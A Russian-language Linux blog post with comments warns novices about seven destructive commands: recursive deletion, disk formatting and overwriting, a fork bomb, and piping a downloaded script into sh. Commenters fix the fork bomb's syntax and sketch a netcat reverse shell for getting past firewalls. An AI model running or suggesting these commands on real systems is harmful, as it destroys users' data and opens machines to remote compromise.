7 самых опасных команд в Linux

Фанаты Linux собралы список из 7 самых опасных команд в Linux. Внимание! Не надо испытывать эти команды на вашей рабочей системе — она будет полностью уничтожена. Пожалуйста, тренируйтесь на кошках или в изолированных виртуальных средах.

rm -rf /

Первая и самая известная команда: rm -rf /. Введенная от имени суперпользователя, рекурсивно удалит все файлы.

Форматирование в Linux

Намного быстрее форматирование: mkfs.ext3 /dev/sda. Эта команда уничтожит все файлы на диске /dev/sda.

Forkbomb

Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли :(){:|:&};: и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.

RAW-запись на диск

Следующая команда портит жесткий диск /dev/sda: любая_команда > /dev/sda. Если вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.

Установка трояна в Linux с помощью Wget

Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений: wget http://некоторый_вредоносный_код -O- | sh

Черная дыра Linux

Шестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null

Удаление данных в Linux без возможности восстановления

И последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sda. В этом случае диск заполняется случайными данными.

Разумеется, опытный пользователь легко распознает любую вредоносную команду, а вот новичкам следует внимательно изучить примеры, чтобы не стать жертвой "дружеского" розыгрыша.

field_vote: 
Ваша оценка: Нет Средняя: 4.9 (8 оценки)
Главная тема: 
Дистрибутивы: 

Комментарии

Лично мне наиболее опасным кажется вариант с wget. Его легко не заметить. Далее можно установить исходящее TCP-соединение на 80 порт и привязать к нему bash (например, с помощью netcat, который есть на каждом втором компьютере). И ни один файервол не поможет.

Оценка: 
Пока без оценки

:(){:|:&};: прикольный смайлик =)))

Оценка: 
Средняя: 4 (3 оценки)

:(){:|:&};: -- не сработал :)) пишет синтаксическая ошибка

Оценка: 
Пока без оценки

пронесло )))

Оценка: 
Пока без оценки

Аналогично, специально ради этого запустил виртуалку, жаль =(

Оценка: 
Пока без оценки

работает, просто тут пробела не хватает - как раз в том месте, где "синтаксическая ошибка"

Оценка: 
Средняя: 5 (1 оценка)

:(){ :|:& };:

так надо :-)

Оценка: 
Средняя: 5 (2 оценки)

> wget http://некоторый_вредоносный_код -O- | sh

Ничего себе не вызывает подозрений... Последние две буковки вызывают очень сильные подозрения. :)

Оценка: 
Пока без оценки

Vitaliy
О мои поздравления вы нашли 7 новых багов в nix :) советую рассказать об этом

Оценка: 
Средняя: 1 (1 оценка)

Пока единственный «баг» на сайте — это Вы, Виталий. ;) И тем более, Торвалдс не отвечает ни за bash, ни за rm, ни даже за wget.

Оценка: 
Средняя: 5 (1 оценка)

По крайней мере, 1, 2 и 6 способы не приводят к необратимым последствиям непосредственно; 3 - зависание Линукса, как правило, вообще не имеет последствий сколь-либо серьёзных...

Оценка: 
Пока без оценки

8226 просмотра топика «7 смертоубийственных Linux-команд»...
8226 x 7 = 57582 убитых Linux-компа? ;~(

Оценка: 
Пока без оценки

А потом бегут на форумы со словами "гафно ваш линупс, я его за день уронил, что только полная переустановка помогла, но не на долго, так как на следующий день он сломался снова" :)))))

Оценка: 
Пока без оценки
comrade аватар

Ха-ха! Когда в 2007 знакомился с линуксом (с юниксом я ещё 20лет назад работал:-), он у меня тоже прожил сначала 1 день, потом 2. Надо же было посмотреть, что у него внутри ;-))
Но с тех пор линуксы у меня умирали только от старости (да и то, если не хотел обновлять:).

Оценка: 
Средняя: 5 (1 оценка)

этож не дыры это сознательное убийство. а здуру можно и х.. сломать )

Оценка: 
Средняя: 5 (1 оценка)

Комментировать

Filtered HTML

  • Use [fn]...[/fn] (or <fn>...</fn>) to insert automatically numbered footnotes.
  • Доступны HTML теги: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <blockquote> <strike> <code> <h2> <h3> <h4> <h5> <del> <img>
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.

Plain text

  • HTML-теги не обрабатываются и показываются как обычный текст
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.